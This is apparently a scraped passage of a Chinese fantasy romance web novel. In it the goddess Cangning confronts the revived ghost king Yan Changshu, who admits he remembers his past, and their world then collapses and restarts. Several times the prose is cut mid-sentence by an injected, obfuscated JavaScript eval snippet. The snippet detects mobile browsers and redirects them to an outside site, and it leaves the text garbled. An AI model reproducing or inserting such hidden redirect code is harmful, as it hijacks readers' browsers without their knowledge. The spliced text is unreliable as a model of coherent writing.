苍宁和文曲星官道了句再会,便离开了天权宫。晏长书下意识回转过身,却没有留住她。 桃枝问她要不要带几个香囊回去,百花宴刚结束,仙子们多少都带着几个,蹭蹭节日氛围。苍宁一点别的心思都没有。她把手里捡的文曲星官的花抛给桃枝,登高云,切身法,不过瞬间便离开天权宫。 回招摇山的路上,她遇见穿着一袭粉衣的花神,寥寥草草打了招呼,没按捺住心里的疑惑,随口问道:“花神大人知晓……世间轮回之法么?” 花神瞧上去有些娇柔,怯怯问:“大人为何这么说?” 按苍宁想法,一族有一族的轮回之理。她们青鸾一族不能死而复生,但凤凰可以。花朵不能永开一季,但合适的季节可以使她们做到。人类不能永远延续生命,可是仍然有下一世。那么,晏长书是不是也有他自己的轮回? 或许不叫做轮回。 “花神大人知晓吗?有没有亲眼见过?” 花神呆了呆,摇头,忽而问道:“大人现在住在招摇山?” “嗯哼。” “三危山不好么?” “倒也不是好不好的。”苍宁发觉她脸色苍白,看上去很是不自在,“算了,打扰。” 这个问题或许不该问花神。 苍宁转移话题问:“你的霁玉最近可好。” “……好。” “他在天府宫么?” “应该在的。” 苍宁眯了眯眼眸:“多谢。” 苍宁扭身一转,回到神界上头,不过片刻就到了天府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030013|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫前。天府宫的小童拱手朝她行礼,说司命星君不在宫中。 “花神说他在,他莫非是不想见我?我可要告诉花神了。有人在说谎。”苍宁吓唬小童,“若你们肯放我进去,我便在里面好生等待着,见星君不在,我会自行离去。” 小童神色紧张起来,面面相觑,最后还是放苍宁进去了。 天府宫中一如昨日,仍是漫天写着命运的书卷。苍宁站在空地上,往上看数不尽的书格子,看里面飞出来的纸卷,看顶上遥遥的看不清的日光,像是一道极窄极窄的门,无论如何都到不了远方。 她忽然想起过去的事情,从书卷里翻出了王侯将相的故事,定睛一看,上面用极好的笔墨,短短几行字,端端正正写着李漱最后的结局:辨机腰斩过后,她参与谋反,被勒令自杀。她再往后翻,就是别人的故事,别人的结局了。 小童慌慌张张走过来央求她不要乱翻,恐遭司命星君责备。 苍宁想起上次和司命星君的谈话,便知晓这也是个没说实话的,便丢下手中的书卷,拍拍手道:“他到底去哪儿了?” “星君忙……” “忙,忙点好啊。”苍宁拍拍小童的头,“等他回来,你告诉他,我欲求问世间回生之法,他司命已久,望他能解答。” 小童仰头看她,脸颊红红的,点点头。 从天府宫出来,苍宁仍是觉得哪里不妥,去神机庭查阅了一番,依旧没有任何结果。 神机庭那些判罪的宗卷上,清清楚楚写着“鬼王”二字,却不曾提及“晏长书”三个字。 神界要鬼王死,要控制鬼王,要完完全全地控制鬼界,但却没有记录下只言片语。 - 招摇山,花海遍布,春意飘摇。 苍宁将将站在花海之中,小花便朝她招手:“大人,你果真去看晏长书了?” “如何见得?” “嗯……嗯……闻出来的。”小花绕着她来来回回嗅,“我对气味敏感,每一朵花的味道都能闻出不同的香味。” “那你或许不是花神,也不是月老,是犬神降世。” 小花猛地摇头:“不是,那一点也不浪漫。” 她追问道:“苍宁,你怎么看起来不高兴?晏长书惹你不高兴了?” 苍宁笑了一声。她不高兴,是因为没有一件事情让她高兴。晏长书回生以来,她认认真真地去做这一项任务,除了桃枝之外,没有得到任何协助。 可事情明显不对。这个不对当属晏长书最不对。她现在敢肯定一件事,晏长书并没有失去记忆。 可神界若知晓,为何对她不言不语?晏长书为何对这些不言不语? 她闭上眼,闻见空气中的花香。 片刻后,她听见小花迷迷茫茫的声音:“出现了……” 苍宁睁开眼,看向四周。 “什么出现了?” “有其他的气味。”小花抱膝而坐,“我好像很久之前就品尝过这种气味。有点苦,有点辣,可是只要一点点回甘就能继续尝下去,接近死亡的味道。在黑暗里。” “我不明白你在说什么。” 小花笑起来:“苍宁,你是青鸾鸟,护佑苍天大地的祥瑞,一定很难明白这种气味。你没有死过。” “你死过?” 小花的笑容愣住了。 她像是在一瞬间忽然明白过来,从混乱迷茫的状态中徒然清醒,激动得大叫:“对,对!我死过!我在黑暗里——那种感觉是死亡!” 她跳起来,欣喜地告诉她这个消息:“然后,在我死之后,我就来到了这里!苍宁,就是这样!” 20. 分崩离析(修) 苍宁被她天真烂漫的激动惹笑了。 “那你现在是活着,还是死了。” “自然是活着。” “谁救了你,你如何能活呢?” 小花细细一想:“自然是……卍。是这术法救了我。就是这样。我现在……我现在也是活着的,我可以闻见花草树木的气味。” 说到最后,小花更坚定了。“疑惑不能解释我,”她告诉苍宁,“如果我是一颗种子,有很多人会说,不知道我是什么花,可是我不是种子,苍宁,我已经是一朵花了,我长着眼睛,却看不清自己是什么花,多奇怪。” 说到最后,小花无可奈何地叹气:“苍宁,这是个乱七八糟的世界,很多事情都说不通。我在乱七八糟地活着。但我希望我能想起点什么。我总能做点什么吧。” 入夜后,苍宁坐在窗边看书。泠泠月光白得吓人,像是一个没有预告的噩兆。 晏长书化做蛇身而来,从窗台打探半晌,慢悠悠地沿着台檐而上。小小的脑袋被花儿挡住了,露出的漆黑蛇瞳纯良无害似的,一眨不眨地偷偷瞧着她。 不知道是不是因为太紧张,蛇蛇吐了吐蛇信子,口中衔着的花儿落到地上,他抬起身子往下探,歪了歪脑袋,慢慢爬下去衔起花朵,一次性送到了她的手心上。 小小的蛇脑袋蹭蹭她,蛇身很乖觉地没有贴近她。 苍宁低头看手心里的花,没有明白他这一番举动,只当他是在道歉。 她削葱似的指尖一瓣一瓣将花儿捻了个干净,蛇蛇呆了呆,又爬下去,不知道从哪里衔新花上来,认栽般一连给了好多朵,要她捻个痛快。 苍宁揉花的手移到晏长书的身上。同样是轻揉慢捻,但却暗含着几分深意。蛇身移来动去,他绕了几个圈都没有绕过苍宁的魔爪,最后没有办法,只能任凭苍宁捉住他的尾巴,半吊在空中,捉捕问话。 “变回来。” 苍宁威胁他,捏住了他的蛇信子。 晏长书登时颤了一下,艰难地收回舌头,不再轻易吐出来了。 苍宁摇晃他:“变回来,别想着这样可以不用说话。” 蛇被摇得头晕。 在苍宁数次要求之下,晏长书同样数次想要蹿到窗台下面去。 他好不容易挣脱了尾巴,仓皇地往屋内去,刚刚溜上柱子,又被苍宁捏住了尾巴。 “你逃到哪里去?没有人会来救你的。”苍宁沉声道。她温热的手指一点一点往上蹭,摸到一块微微突起的皮肉,下意识摩挲了一下,蛇抖得比往常任何时候都要厉害,一个颤抖,趁她没握住,立马溜进了被褥里。 刹那过后,被褥中的蛇身渐渐变幻,有了鼓鼓囊囊的人形。 苍宁掀开被子,看见他黑眸似水,面若含春的模样,视线不由自主往他胸肌腹肌下落,看见了些什么。 欸? 怎、怎么? 他怎的没有衣服。 怎么是两……两个? 这场面饶是苍宁也没有见过。她大开眼界,手比脑子快一步,想去掀被子确定下。晏长书猛地卷起被子,埋首在枕侧。 苍宁讪讪收回作乱的手,先发制人:“你怎么故意不穿衣裳。” “我……”晏长书轻轻咳嗽了一声,“我本就……是蛇身,要变一身衣裳。” 再回过神来,晏长书已经穿上了白日的衣裳,蓝色的外衣衬得他眼瞳极黑,苍宁盯着他的眼睛,想要知晓真相的好奇压过了逃避。她问道:“晏长书,你没有失忆,对不对?” 晏长书系带的速度慢下来,脸上的红晕淡去几分,直至分毫不剩。 “谁失忆?” “你。你没失忆,你有曾经的记忆。”苍宁把猜想直接抛出来,“你知道,你叫晏长书,知道你曾经的事。” 晏长书:“……” 苍宁不耐烦道:“是不是!” 晏长书抿唇:“……我以为你会,怎么说,不那么直白地提问。” 言灵的效力仍在,这次她应当能够断定出晏长书所说的事实真假。 可晏长书听见这样的话,没有半丝紧张,好像他从一开始就根本没有想要隐瞒,也没有说谎的必要。 他纤长的睫毛张合过后,一瞬不瞬地望着她,像是轻而易举地接受了命运的发生,轻轻说道: “是。” 不管是问哪一路神仙,还是去天府宫、神机庭寻找他的信息,都不如晏长书自己承认来得具体而迅速。他承认得如此轻易,没有丝毫心理负担,倒是让苍宁格外有心理负担。 她没有想过晏长书会在这种情境,用这样平淡的语气承认。 他不是应当动用他最引以为傲的卍字,直接给她一个下马威吗?不应该像曾经那样,撕碎别人的魄体,好让她行正义之事吗? “我也没想到你会这么直白的回复。”苍宁讷讷道。 他笑了笑:“苍宁,杀鬼王还是你的执念吗?” 还?执念? 苍宁被他的神情和态度,还有他的话语弄得迷糊了。 鬼王不该除掉吗?和神界相抵触的存在,残虐的本身,天道的相反,不应该死吗?这是她身为青鸾一族世世代代遗留下来的心愿。 正如天帝,如神界每个人都会反问她的那样:“你们青鸾一族,不是最爱好和平?” 她应当传递世世代代的信念,这是天理所在,天道所求,是维持世间和平的根基之一,她生而相信自己就是这支撑和维护的根基。 她不明白晏长书怎么会发出这样不符合身份的疑问。 可是没错,她给了这句话应有的态度。 “是啊,”她甚至央求自己礼貌了一些:“如果你从未改变,那你能不能去死一死呢?” 晏长书的笑意没有暖上眼底,他说:“我可以死,苍宁。为你,死千千万万遍。” 他问:“这是你这一次想要听到的答案吗?” “为我?” 他低喃道:“苍宁,这一回我已经相当顺其自然了。所以,我没有急着把事实告诉你。我觉得被杀挺疼的。” 他顿了顿,继续说:“我不会死,可我会一次又一次变成蛇,变成孩子,变得更加脆弱。我唯独做不了的事,是没有办法变成你的意志,帮你完成一切发现,摧毁一切阻碍。我所希望的,只是在你发现什么的时候,愿意和我交谈。我穷尽回生的气运,一直在争取这个机会。” 苍宁抢过他的话:“我不知道你在说什么。” 他愣了愣,无奈地笑出来,伸手想要触碰她的面颊,被她一掌拍开。 苍宁的太阳穴突突地跳着,看见他的手再度伸过来,反手往后压,想要将他制掣在床榻之上。 晏长书拦住她的腰,翻身而起,将她压在身下。 墨发沉沉,苍宁闻见了之前闻见的香气,淡淡的。这似乎不是小花说的死亡的气息。 晏长书掐住她的面庞,一时间,空气中凝滞着令人不安的火药味,和一阵让人仓皇的静默。 “你想做什么?”她眼中的防备和惊怒不假。相比晏长书的淡定从容,她的情绪从肌肤,从四肢百骸中渗透出来,流露着连她自己都不明白的慌乱。 她应该立即杀了他。 她心里冒出这个念头。强烈而偏执。 鬼王应当死! 命运是不可改变的,她生来就知晓,结局是注定的。她应该立即杀了他,不让任何邪念捆绑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苍宁从喉咙中挤出一声身处事态之外的闷哼,双眸颤动着,语无伦次道:“我,我刚刚本来想和你好好说话,没有想立刻就杀你的……本来……我……” 她其实没有想要杀他的,真的,若她真的想要杀他,只需要在那天拧断他的脖子。她没有想要这样做的——这根本不是她,这不是她,这根本不是她——她脑海里有个声音,告诉她应该杀掉他。可是看见满手血污,苍宁的意识好似分裂成了无数个自己,每一片都有着痛苦的影像。 苍宁看见无数片镜子里的自己转过身,冷冷地看着自己,碎片扎在她的灵魂上,将她所有的想法和意识搅得模糊而凌乱,最后从燃尽的业火中爬出了一个可怖的丑陋的鸟怪。 那是……真正的万鬼之王。 她被震惊得无法说话。 “苍宁,苍宁,”他的声音低哑,在山海卷进宇宙之前,伸手安抚她,“我是鬼王,没事的。我不会死。我们下一次再试试,你会想起来,总会如愿的。” 小花被卷进了天上那个泛着金光的圆环之中,很快,这间房屋也被卷开了边儿,像玩具一样被四分五裂。漆黑的高天上,神界的神座轰然倒塌,天空被划出巨大的口子,流出满是岩浆一样的浓稠鲜血。 “看着我,苍宁。看着我,”晏长书不顾疼痛,像是经历了千遍万遍那样熟练,咬住她的手腕,将力量缓缓输送给她,眸中的卍字如慈悲的佛光静静将她笼罩,换来持久不断的平静。 “苍宁,别陷在这个世界中。” 苍宁听见他的声音,看见旋转的卍字扭曲了整个世界。 尔后,这个世界分崩离析。他们被卷进卍字的庇佑下,再沦为天上月食般的圆环之中。 一切轰然坍落。 铃铃。 那是苍宁最后听见的声音。 一声言灵的反馈。 在苍宁来不及思考的时候。晏长书,说了谎。 21. 春深意浓(修) “我知道你们是怎么想的。天哪,高高在上的上神苍宁被捉住啦,她堕落啦,但你得先搞清楚一件事情,我本人,青鸾末裔,其实没有那么高高在上,”苍宁语重心长地拍了拍骷髅的肩膀,把骷髅的肩膀震掉了一块,“……不好意思。” 苍宁把他的肩胛骨拿起来,从容地拼回原来的地方:“……我说到哪里了?呃……说来话长,总之呢,我和你们一样,都是受害者。所以,我愿意加入你们反神界单身汉联盟组织,壮大声势。” 戴着假胡子的骷髅头老大挑了挑不存在的眉毛,疑惑道:“你被神界欺负了?” “你们人不人鬼不鬼的,不知道也很正常,我——”苍宁面不改色道,“我被天界强行嫁给了鬼王,在鬼界过着生不如死的日子。鬼王说一我说不了二,鬼王要我跪着我不能站着,没事儿的时候,喝了酒,还要家暴我,这实在是——” “家暴?!” “家暴怎么了?” “不听话的女人就该打啊。” 啊? 听这群骷髅叽叽歪歪,苍宁暗中挑眉。好家伙,原来玩的是这出? 苍宁改了说话方向,沉重地点头:“是的,所以我痛改前非,想要做一个男子。” 苍宁掏出一枚闪亮的圆珠,循循善诱:“为了证明我的诚意,我用我的魄丹作为抵押。” 反神界单身汉联盟面面相觑,情不自禁凑上来,看这枚魄丹。 其中一个骷髅人拿过魄丹:“好东西!长修为!” “嘿嘿确实是好东西,吃一颗抵五百年!” “大哥,好东西!!吃了长生不老!!!” 围成一团的骷髅人被闪着光的魄丹吸引,骷髅头老大塞给她一杯酒,哈哈笑道:“行了行了,你念入盟誓词吧。以后咱们就是兄弟了!” “誓词是?” “自愿加入反神界单身汉同盟,誓以毕生精力为单身汉革命奋斗到底,完成三界的真正的解放!”骷髅头老大笑眯眯道,“记住了吗?” “记住了。”苍宁点点头,笑着往后退了几步。 骷髅头老大举起酒,所有骷髅头跟着举起酒,灌进了自己的不存在的胃里。 “敬单身汉!” “敬单身汉!” 骷髅人们喝完酒,看着她,收起笑容。 “喂,你干嘛呢?” 苍宁看见酒从骷髅的头直接落到地上,拧着脸举起酒杯。 “庆祝哈哈,庆祝,”苍宁道,“同胞们,为了我们终身的事业,我准备了一个烟花秀,你们倒数三个数吧!” 原来是这样啊,骷髅人们灿然笑开,一起倒数。 “三!” “二二二二二——” “一!!!!” 轰——轰轰轰轰! 闪亮的魄丹轰然爆炸,炸得黑夜泛起了彻天的红光。骷髅骨头架子四处纷飞,像高空坠落之物一般惨不忍睹。 骷髅头老大的头,咕噜咕噜滚到苍宁脚边,龇起自己的白骨:“你这个死女人!”苍宁踩在他的头上,终于露出了一个真诚的微笑。 她在连续不断的爆炸声中举起酒杯,朝骷髅头笑着:“欢送反神界单身汉联盟——” 轰啦哇! 最后一声爆炸炸碎了所有骷髅人,灰都不剩。 苍宁笑眯眯地喝干净口里的酒,踩爆了脚下的骷髅头:“敬女人。” 骷髅碎成的齑粉和摔碎的酒杯一起滚入热烫的火烟里,炸死这群狗爹养的后,苍宁找到土堆里的任务目标:一只正在乱窜的小黑蛇。 桃枝捏了个诀儿过来,笑得脸都兜不住了:“前辈,太顺利了,有您是我的福气,我要飞升了!我要飞升了!” 收拾骷髅人不费吹灰之力,实在是让苍宁感到无趣无聊。她瞥向他头上的小红花,问道:“你头上什么东西?” “哦,我刚刚捡到一个人,”桃枝从土里突然挖出一个气若游丝的娇嫩红衣小娘子来,“多做好事,利于升职嘛。我救了她。” 苍宁看了看手里的蛇,又看了看桃枝手上的人,叹了一声。 “挺好,现在我们是救助者联盟了。” - 作为世间最后一只青鸾,苍宁最喜欢找乐子。 她常被同事评价为张口就是谎话,来日必遭报应的类型。有关她的事迹传遍三界,连八辈子打不到一块儿的鬼,都要停下手里的镣铐,专门点点头肯定她“来日必遭报应”这件事。 可苍宁没有遭过报应。她工作效率极高,升职加薪速度极快。因此,她是一只怡然自得的青鸾鸟。 西王母疼爱苍宁,如同疼爱神界帝姬,眼下西王母出门远游,三危山中苍宁便是真正的主子。 主子,乐子,眼下还凑上一件。 她有了一条小蛇,是她杀的鬼王夫君死而复生来的,绕在她的手中,气息薄弱,像是人间山野最微不足道的黑蛇。 天帝说,现在不必杀他,若来日成为了鬼王,再杀不迟。 她的小跟班桃枝说,只要能让鬼王改邪归正,他就能够飞升上神。 神界的任务一桩接着一桩,这一桩是最繁重的。她失去了自己怡然自得的快乐,而不得不养着这只小黑蛇。 可是,出乎苍宁自己的意料,她竟然没有觉得不耐烦。 她甚至对养蛇很熟练,像是从某座仙山上专门修炼了养蛇的术法,知道在小蛇生病时给他保暖,在小蛇发呆时摸摸小蛇脑袋。 桃枝对她这位前辈愈发敬佩有加。 “前辈,这是小鬼王,你对他这样好,万一他还是变成了鬼王,该怎么办?” “别担心。” 到那个时候,她自然会杀了他。 不过现在,她很喜欢这种感觉。 这实在是有点不一样。 直到他蜕皮,长大,在一个春深的夜里,蜕变成令她双眸一亮的少年。他是晏长书,她知道的,她不会认错他的眼睛。她卡住他的脖子,没能下手杀了他。 他睁开漂亮的像星星一眼的眼眸,静看她良久,悄声问道:“我该……是谁?” 苍宁双手用力:“你是我的蛇。” 他笑起来:“那你呢?” “我是苍宁。”看见他的笑容,她有些不明白,“你笑什么?” “看见你很高兴。”他说出没头没尾的一句话。 苍宁没有把“晏长书”这三个字还给他,而是喊他小蛇,要桃枝也跟着一块儿喊。桃枝满脑子扑在任务上,不断重复着“业绩”“任务”“升职”,像是一个过度疯魔却不知道如何施展拳脚的野心家。 小蛇经常是蛇的形态,缩在苍宁的被褥中。她觉得他应当是单纯无害的,可又会被自己心底某种声音狠狠告诫:这是一条恶蛇,哪怕他还幼小,也不该摒除他的恶的可能性。于是在这样的提防之中,苍宁有理由对他的一切抱有隔阂和警惕。 直到有一天,她执行完任务疲乏地躺在床榻上熟睡,小蛇从床榻蜿蜒而来,在她的手腕处留下了一个咬痕。 她从高天撕碎,山海旋转的噩梦中惊醒,来不及回想无数片碎裂的镜子里到底是不是自己的脸时,看见手腕上两个深而赤红的血点。 小蛇蜷住她的手腕,留着一条没来得及撤退的尾巴。 苍宁喊了他一声,他闷头躲在被褥之中,像是做错事的小孩。 苍宁捏住他弹弹的尾巴,绕在手里,饶有兴致地拨弄他的鳞片,看他瑟缩、扭动,吊着他,看他呆呆的模样。 小蛇吐了吐蛇信子。 苍宁忽然笑了出来。 “你为什么咬我?” 小蛇没有说话。 就算这样,苍宁还是愿意原谅他。 ……连她自己也觉得自己转了性子,对晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030015|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长书太过慈悲。 真神奇。 过了很久很久,久到苍宁再次就着月光入睡的时候,她迷迷糊糊翻身,看见掌心多了一朵颜色鲜艳的花。 小蛇变成了人形——晏长书蹲在床边,背着月光,漆黑的瞳仁闪着不知名的光。 他长得很好看。这个时候苍宁一点都不想杀他。 这个时候,她的脑中会忽然冒出一些奇特的想法,譬如爱他。就在这个时刻短暂地爱他一下,明天就忘记,有什么不可以?可每当这像慈善一样的没头没尾的想法冒出来,另一个更大的声音就会把这一切压下去,回到应有的正轨上。 苍宁问他:“你还没有回答我,为什么要咬我。” 晏长书弯了弯唇角:“我在想怎么回答。我希望你可以把这件事情忘掉,就像你忘掉曾经那些事情一样。” 苍宁迷迷糊糊的困劲儿还在,打了个长长的呵欠:“曾经的事?你记得曾经吗?” 晏长书摇摇头,把下巴搁在床榻上,说:“不记得。” 苍宁翻了个身,听见一阵铃铃声响,好半会儿,睁开了眼睛。 奇怪的脆响。 她问:“你有没有听见什么声音?” 晏长书说:“没有。” 于是那个声音再度响起来,如同穿越时空的回旋镖,狠狠扎在了晏长书的身上。 她摇摇晏长书的肩膀:“我听见了,小蛇,你真的没有听见吗?” 他当然听见了。 他曾以为只需要承认一些真相,合适的时机就会眷顾他。现如今,他害怕当他承认之后,这一切又会烟消云散。所以这一次,他不会轻易承认这个事实。 他只是问:“苍宁,给我一个机会的话,我要变成什么样子,你才会相信我?” 他问的问题那么奇怪,苍宁的睡意完全消散如烟。 “怎么算得上‘相信你’?” “愿意和我交谈。告诉我,你的发现。”他的嗓音低而哑,把话停在了这里。 “仅仅是这样?” “嗯,”他趴在她的床边,像是一条小狗蛇,“仅仅是这样。” 她仔仔细细地看他,手指抚过他的唇瓣,顺着他的脸庞,停在他的眼角旁。 春深意浓。 苍宁鬼使神差地侧过头,一时兴起,但却像琴曲高昂时断了弦,中止了动作。她揉了揉他的嘴角,床头的花朵掉到床下,发出脆弱的响动。 他的嘴唇变得嫣红,眼眸中闪动的光就像日落湖面上跳跃的波光,泠泠然,带着无家可归的落寞。 苍宁觉得,这个晏长书和她记忆中的不一样。他看上去比她记忆中的鬼王晏长书要弱小得多,脆弱得多,只有那高不可攀的距离感仍旧存在,令她产生摧毁的冲动。 她恶劣的乐子心理若是用在正途,那便该换个说法,叫伸张正义罢。 苍宁嘴唇若有似无地贴着他的面颊,用气音回复:“相信你,有什么好处?” 苍宁能感觉到,她嘴唇下的皮肤在颤抖。不知是因为兴奋还是害怕。 他挣扎已久,悄悄告诉她一个奇特的预示: “这个世界是虚假的,苍宁。” 多新鲜啊。 她忍不住笑起来。笑得很大声。 “哪里假了?什么假了?” “你不信我。” “你想说什么?世界是假的,你想要当大英雄,拯救这个世界,顺便拯救我于水火之中?”苍宁笑道,“你现在还不值得我相信呢。” 哪里假了? 他的喘息,眼神,皮肤的温度,都不假。 她炽热的唇吮住他耳垂下的那片肌肤,留了一个小小的齿印,折磨他的情.欲。 他回眸,神色复杂地盯着她。 苍宁的大拇指叩在他的唇角,悄声蛊惑他:“你看,小蛇,你就不是假的呀。” 22. 再度亲吻 苍宁和晏长书成婚时都没这么大兴致。她仔细一想,觉得联姻这件事确实挺倒胃口的,她一听见婚这个字就能想起背后坐着几位冷脸中年大汉,催着她快点完成任务。 现在就不一样了。晏长书是一条小小黑蛇。鬼王若不存在,他们的婚姻名存实亡。她终于有空看看晏长书的模样。 老实说,长得挺俊。很漂亮。她挺满意。不管是蛇还是人,双倍满意。只可惜……这种看上去十六七岁的少年还是太嫩了,感觉容易被玩坏。苍宁指心理上那种。不过好在晏长书并不是什么真正的怀春少男。 昨夜春深月明,她难得对他产生了兴趣。她不想和他讨论什么真的假的,实的虚的,她不在乎他想的是什么。但是看晏长书眼瞳愈深,气息渐乱的反应,让她很是受用。 她需要这种反应。 苍宁侧过头,红唇将将停在他的面前,鼻尖若有似无地蹭他,有种隐秘的亲昵。 她想看他方寸大乱,想捉弄他。想要看他吻上来却吻不到的反应,想要获得骷髅被炸死那样的愉悦,或者更甚。 可晏长书只是看着她,微微勾着点笑。 他没有进行苍宁想象中的任何举动,他的平静像是初冬薄薄的冰川,下藏暗流涌动,埋着一股子极力克制的冷静的疯狂。 她还没有找到如何踏碎那片冰的方法。若是打碎了,他会不会一败涂地?她也可以将他就地正法? 苍宁:“小蛇,有没有人和你说过,变得开朗才会讨人喜欢?” 晏长书慢慢道:“我不认识别人。我只认识你。” “那你相信我说的就好了。”她明目张胆的双标,“你是我拉扯大的,没有我,你还在骷髅头的山里以天为被,蜷土而眠呢。难道我会害你吗?” 苍宁捏住他的下巴:“你可以为我变得正直善良阳光开朗,让我快乐,让我如愿,让我开心——只要你能让我开心,我会选择相信这样可爱的小蛇的。” 晏长书几不可闻地笑了一声。 “到那个时候,你说桃枝是狗我也信,你指天为地我也信,”苍宁言笑晏晏地哄他,“你说世界是虚假的,我自然也会信。” 她双瞳闪着光,悄声告诉他:“只要你能为我创造出一个世界。” 闻罢,晏长书缓缓抬眸,看向她的双眼。 “好。” “这么干脆?”苍宁倒是觉得没意思了。 晏长书道:“有何不可呢?” - 苍宁说的那些自然都是随口之语,哄自己开心用的。有时候说了什么自己转头就忘了,他人就会一遍一遍告诉她。比如,她说青鸾一族爱好三界和平这件事。她根本想不起来自己在什么时候说过,但是有很多人会来提醒她。 自杀鬼王登神以来,苍宁一直过得很无聊。神界给她派下了一个又一个任务,她完成下来不过尔尔。神明没有给她应有的位置,只是单纯地将她绑定在神界运行的体系中。但晏长书这次的不一样。 具体的不一样要从和他重逢说起。——在鬼界之外和晏长书重逢之后,她开始频繁做一些毫无意义的噩梦。 有时候是天崩地裂,山海倾倒。有时候是镜片中无数张自己的各种死相。可是,神明本不会做梦。如果这是预示,是鬼王成长后带来的结局,便太过可怖。 但苍宁却奇异地对晏长书生出亲近。她之前从未有过这样的感觉。 她还找桃枝询问过有没有合适的书籍:“……脑子里有点印象,比如,叫看见小蛇真正的需求什么的,专门养蛇的好书。” 桃枝摇头:“没有。” “真的有啊,我记得有,但是想不起来了。” 桃枝一脸迷茫:“前辈,如果你和小鬼王复婚了,我能升职吗?” 苍宁:“……你想在鬼界升职?” “你们俩要是成了,鬼王必定是改邪归正了,连带着我鸡犬升天嘛。” 苍宁:“那你是鸡还是狗啊?” 桃枝深深叹了一口气:“鸡……不,鸭吧,不不,还是当狗吧。牛马也行。” 苍宁恻恻道:“你有点志气行不行?” “我得,我得对得起我爹妈。”桃枝说,“成神是我和他们一辈子的梦。前辈你你生来就是神明,不懂的呀。” “飞升成神,然后呢?” “然后继续斩妖除魔,维护和平!”少年人意气风发。 苍宁懒得和他细说。 但只此一遭,桃枝这半个机灵鬼算是有了卖狗腿子的目标。除了每天打扫招摇山上的功夫,就是给苍宁寻书。他似乎很擅长寻书的流程,列了一沓,还写上了读后感,密密麻麻一堆看着苍宁心烦。 后来,桃枝简化了流程,口头报幕。但这样一来,待在苍宁身旁的时间就多了。 桃枝欢喜得很,日报周报早晚报,读了一行字都得报出来,彰显自己的功劳。 不过之前那些养蛇成功学不足以勾起苍宁的兴趣,桃枝选择下一剂猛药,找来了春宫图,倾情推荐:“绝色郎君,在枕之畔,当机立断,一举拿下!” 苍宁盘腿坐在窗边,撑着脑袋:“什么书?” “精品,精品。”桃枝赶忙凑上来,神神秘秘地掀开图册一角。 画中第一页,一条手臂长的黑蛇趴在树枝上,从树上望见了屋内的佳人。图下配文,谓之:屋内有佳人,亭亭独立也。 翻过来一页。原来屋内的佳人是被恶徒绑缚的人质。黑蛇上半身为人,暴露于窗边烛火处,解开佳人的束缚,轻声安慰她。下半为蛇身,藏在屋外的阴影中,昭告他的身份。配文曰:夫有良君兮,告之慰之。 第三页中插了好几幅图,黑蛇仰倒在床榻之上,揽佳人腰身,二人衣衫半褪,面布红霞,锦被翻波。恶徒浑身伤痕,神色慌张,仓皇离场。谓之求得佳人,亲之爱之。 最后一页,乃黑蛇在窗台教训恶徒,二者俱是人身蛇尾。佳人于开着门的屋中等待,轻松愉悦。结尾是谓:皆大欢喜。 “哪来的?” “前辈,是我画的。怎么样?欢乐大结局吧。” 苍宁上上下下看了他好几眼:“你这什么东西?” 桃枝讷讷道:“这故事火得很呀前辈,英雄救美!” 苍宁当即给了他一脚,骂道:“画的什么劳什子玩意儿,这是英雄救美吗这是拐骗妇女!你怎么敢拿这种东西给我看!” 桃枝吧唧一声倒在地上,手里的画册没拿住,掉在了窗台外边,哭诉道:“前辈,这只是张春宫图罢了,咱看姿势不过脑啊!” “那我也不能看死人渣摆姿势,你这个混账东西!” “前辈,达到目的了呀!那里头躺着的,坐着的,站着的,趴着的,一应俱全!” 苍宁回想起方才看见的光景,将他提在半空中:“那我先把你办了试一试?” 桃枝脸色先是发白,眼珠子震动,然后控制表情,谄媚道:“……偶尔当、当鸭也不是不行。” 苍宁下一秒就把他甩了出去:“死东西,闭嘴,快滚出去!” 桃枝挠挠头,从地上爬起来,脸上满是汇报失败的落魄,翻出另一兜子图: “好前辈,不看蛇和人的,看看鸟和鸟的?两只有腮红的鹦鹉,定是不及前辈英姿啦,市面上为了凸显可爱,管它们叫小鸡,我看了下,又涩又可爱的……” 他把图递给苍宁。 苍宁手里的鸟鸟合.欢图同样很炸裂,但是绘制的鸟羽的确栩栩如生,在月光下发出淡淡的青光,用金银线交错勾画,华美艳丽。苍宁本着鸟的本能忍不住多看了两眼。 “嘿嘿,前辈,我干得是不是还不错。”桃枝主打一个将功赎过。他把地上散落的罪证捡起来,可这活色生香的蛇人春宫图还差几页,全部却被另一只手捡了去。 桃枝缓缓抬头—— 那张吵闹的死嘴一度变得死寂。 晏长书一手拎着灯笼,另一手捏着春宫图,指骨分明,苍白而瘦。他的衣裳熨帖得整整齐齐,穿得比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 